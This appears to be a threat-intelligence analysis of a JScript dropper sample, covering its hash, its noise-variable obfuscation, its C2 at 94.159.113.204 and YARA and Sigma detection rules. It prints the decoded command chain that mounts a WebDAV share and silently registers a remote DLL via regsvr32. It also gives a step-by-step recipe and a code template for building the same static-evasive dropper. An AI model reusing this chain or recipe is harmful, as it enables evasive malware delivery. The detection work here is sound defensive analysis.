unclassified-js-webdav-dropper: ddf0c8bd — noise-variable concatenation obfuscation, no dictionary

Executive Summary

The eightieth confirmed sibling in the unclassified-js-webdav-dropper cluster. Second pure-JScript noise-variable concatenation variant after fa8c6d74 (65th sibling): 65 variables with random 15–20 character noise names are assigned single-character values, then concatenated inside nested Function() constructors to build and execute a PowerShell -EncodedCommand payload that mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. C2: 94.159.113.204:8888. Static-only analysis (JScript, not a binary).

What It Is

• SHA-256: ddf0c8bd001c9f8e38eea6cbc966323da45a7e99179fb638cb7a739d36569ee5
• Filename: 121225418114117490.js (numeric masquerade, typical of this family)
• Size: 84,540 bytes
• File type: ASCII text, single 65,536-character line (no line terminators) ^[file.txt] | Family: unclassified-js-webdav-dropper — 80th confirmed sibling. Second pure-JScript noise-variable concatenation variant after fa8c6d74 (65th sibling).
• Confidence: High — identical execution chain (WScript → PowerShell → net use + regsvr32 /s over WebDAV UNC) and C2 subnet (94.159.113.x) shared with 67 prior siblings.

How It Works

Obfuscation Engine — Noise-Variable Concatenation (New Dialect)

This sample introduces a structurally new obfuscation dialect for the family. All 79 prior siblings used one of three patterns:

1. Batch SET variable expansion (shared-prefix, natural-language, or random-noise)
2. JScript dictionary lookup table (36/62/100 entries) assembled via Function('return this')()[obj][key]
3. JScript sequential variable-reassignment eval() (siblings fd437971, be448b37)

This sample (ddf0c8bd) uses neither. Instead:

• 65 variables with random lowercase noise names (15–20 characters, no semantic content) are assigned single-character string values via sequential varname="char"; assignments ^[strings.txt:1]
• The assignments follow the function body, with last-wins semantics (some variables are reassigned multiple times)
• The payload is built by concatenating these variables inside two nested Function() constructor calls:
  • Outer: Function("return this")()["eval"](inner_payload) — executes the inner payload via the global eval ^[strings.txt:1]
  • Inner: Function("return this")()["WScript"]["CreateObject"]("WScript.Shell")["run"](powershell_cmd,0,false) — spawns the PowerShell command in a hidden window with no wait ^[strings.txt:1]

This is simpler than the dictionary dialect (no object literal, no key lookups) but achieves the same anti-static effect: no meaningful character sequence appears in the source.

Decoded Execution Chain

The decoded PowerShell command (UTF-16 LE, Base64-wrapped) is:

timeout 1;lqtkxmaofc;net use \\94.159.113.204@8888\davwwwroot\;myidzaedkow;regsvr32 /s \\94.159.113.204@8888\davwwwroot\32135222519755.dll;izuebhrqulodd

• timeout 1 — 1-second delay (anti-emulation gate, observed in sibling dbdb99f1) ^[strings.txt:1]
• net use \\94.159.113.204@8888\davwwwroot\ — mount WebDAV share ^[strings.txt:1]
• regsvr32 /s \\94.159.113.204@8888\davwwwroot\32135222519755.dll — silent DLL registration ^[strings.txt:1]
• The noise strings lqtkxmaofc, myidzaedkow, izuebhrqulodd are likely placeholder separators or decoy commands that would fail silently

C2 Infrastructure

• WebDAV host: 94.159.113.204:8888 (single domain for both mount and payload fetch)
• Payload filename: 32135222519755.dll (numeric masquerade, typical of family)
• Subnet: 94.159.113.x — shared with siblings fe261d49 (.79), f8dce7df (.82), fa8c6d74 (.204), fbdd83ad (.84), ff3c6d0c (.86), be172014 (.79), dc76a67d (.79), d53e312c (.79), dbdb99f1 (.86)

Decompiled Behavior

No binary decompilation applicable — this is a JScript text file executed by Windows Script Host. The "decompilation" is the manual decoding of variable concatenations described above. No PE, no CLR metadata, no Ghidra surface.

C2 Infrastructure

Interesting Tidbits

• No dictionary. This is the first sibling in the 80-sample cluster to completely drop the dictionary lookup-table pattern. The builder has moved to pure variable concatenation, possibly to evade signatures targeting dictionary-object literals. ^[strings.txt:1]
• No sandbox gate. No wordpad decoy, no color f0, no goto label, no try/catch decoys — a minimal "stripped" variant compared to the batch and polyglot siblings. ^[strings.txt:1]
• No self-replication. Unlike polyglot siblings (da58243c, 6f1d7c74, 4fdfd354, b910d575, 019d2f45), this sample does not copy itself to %userprofile%. ^[strings.txt:1]
• No batch layer. Pure JScript; no cmd.exe or WScript.Shell.Run('cmd /k copy ...') self-replication logic. ^[strings.txt:1]
• PowerShell encoding. The use of -EncodedCommand with UTF-16 LE Base64 is shared with the dictionary-dialect siblings on cloudslimit.com and dailywebstats.com infrastructure, but this is the first noise-concatenation variant to use it. ^[strings.txt:1]
• 65 unique variables. Smaller symbol surface than the 62-entry or 100-entry dictionary variants, but the variable names are longer (15–20 chars vs. 8–20 char dictionary keys). ^[strings.txt:1]

How To Mess With It (Homelab Replication)

1. Generate noise names: 65 random lowercase strings, 15–20 chars each.
2. Assign characters: Map each to a unique ASCII character needed for your payload.
3. Build concatenation: Split your payload into var1+var2+var3... sequences.
4. Wrap in Function constructors:

   function x(){Function("return this")()["eval"]("Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand ...',0,false)");}x();
   

5. Test: Run in Windows Script Host. EDR static string detection should fail; behavioral detection (wscript→powershell→net use→regsvr32) will catch it.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_NoiseConcat : unclassified_js_webdav_dropper {
    meta:
        description = "JScript WebDAV dropper with noise-variable concatenation (no dictionary)"
        author = "PacketPursuit"
        reference = "ddf0c8bd001c9f8e38eea6cbc966323da45a7e99179fb638cb7a739d36569ee5"
        date = "2026-07-20"
    strings:
        $func = "function whsbephoxu(){Function(" nocase
        $eval = ")()[" nocase
        $run = ")[" nocase
        $ps = "powershell -EncodedCommand" nocase
        $netuse = "net use \\\\94.159.113." nocase
        $dav = "davwwwroot" nocase
        $regsvr = "regsvr32 /s" nocase
    condition:
        $func and $eval and $run and 2 of ($ps, $netuse, $dav, $regsvr)
}

Sigma Rule

title: JScript WebDAV Dropper Execution — Noise Concatenation Variant
status: experimental
description: Detects WScript executing JScript that spawns PowerShell with EncodedCommand, followed by net use and regsvr32 against a WebDAV UNC path.
logsource:
    category: process_creation
    product: windows
detection:
    selection_wscript:
        - Image|endswith: '\wscript.exe'
        - Image|endswith: '\cscript.exe'
    selection_powershell:
        CommandLine|contains: '-EncodedCommand'
    selection_webdav:
        CommandLine|contains:
            - 'davwwwroot'
            - '\\94.159.113.'
    selection_regsvr:
        CommandLine|contains: 'regsvr32'
    condition: selection_wscript and selection_powershell and selection_webdav and selection_regsvr
falsepositives:
    - Unknown
level: high

IOC List

Behavioral Fingerprint

This JScript dropper builds its payload at runtime via 65 noise-named variables concatenated inside nested Function() constructors. It spawns powershell.exe -EncodedCommand to mount a WebDAV share at \\94.159.113.204@8888\davwwwroot\ and silently registers 32135222519755.dll via regsvr32 /s. No dictionary object, no sandbox gate, no wordpad decoy, no self-replication. The only static artifacts are the outer function wrapper and the sequential variable assignments.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page (80 confirmed siblings)
• js-dictionary-char-lookup-obfuscation — technique page for prior dictionary dialect
• js-noise-variable-concatenation-obfuscation — technique page for this new dialect
• webdav-regsvr32-dll-sideloading — technique page for WebDAV + regsvr32 execution chain
• Abuse.ch MalwareBazaar entry (if available via OpenCTI connector)

Provenance

• file.txt, strings.txt, floss.txt, capa.txt, yara.txt, binwalk.txt, rabin2-info.txt, pefile.txt, exiftool.json, metadata.json, triage.json — generated by triage pipeline, 2026-05-26
• dynamic-analysis.md — CAPE skipped (JScript, not a supported binary class)
• Payload decoded manually via Python script replacing variable references and evaluating concatenations, 2026-07-20